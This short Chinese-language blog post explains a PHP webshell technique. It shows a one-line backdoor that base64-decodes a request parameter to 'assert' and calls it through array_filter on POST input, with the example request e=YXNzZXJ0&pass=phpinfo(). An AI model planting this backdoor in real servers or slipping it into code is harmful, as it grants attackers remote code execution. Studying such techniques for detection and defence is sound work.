对于5.5.9版本来说,先看下结果:

array_filter — 使用回调函数过滤数组的元素
说明
array_filter(array $array, ?callable $callback = null, int $mode = 0): array
遍历 array 数组中的每个值,并将每个值传递给 callback 回调函数。 如果 callback 回调函数返回 true,则将 array 数组中的当前值返回到结果 array 数组中。
返回结果 array 数组的键名(下标)会维持不变,如果 array 参数是索引数组,返回的结果 array 数组键名(下标)可能会不连续。 可以使用 array_values() 函数对数组重新索引。
<?php
$e=$_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr,base64_decode($e));
?>
首先对输入的结果e进行了base64的解码,所以需要我们输入的参数为base64编码过后的值
assert:可以直接执行命令
分析代码:我传入的是一个e=YXNzZXJ0&pass=phpinfo() ,首先我的e是经过了base64的编码,pass=phpinfo()传入数组=》给了$arr,$arr会将自己的参数传递给解码过后的assert
相当于以下的作用:
<?php
assert('phpinfo()');
?>
通过array_filter的第二个参数(回调函数)动态执行base64_decode($e)的结果,完全由用户控制。
278

被折叠的 条评论
为什么被折叠?



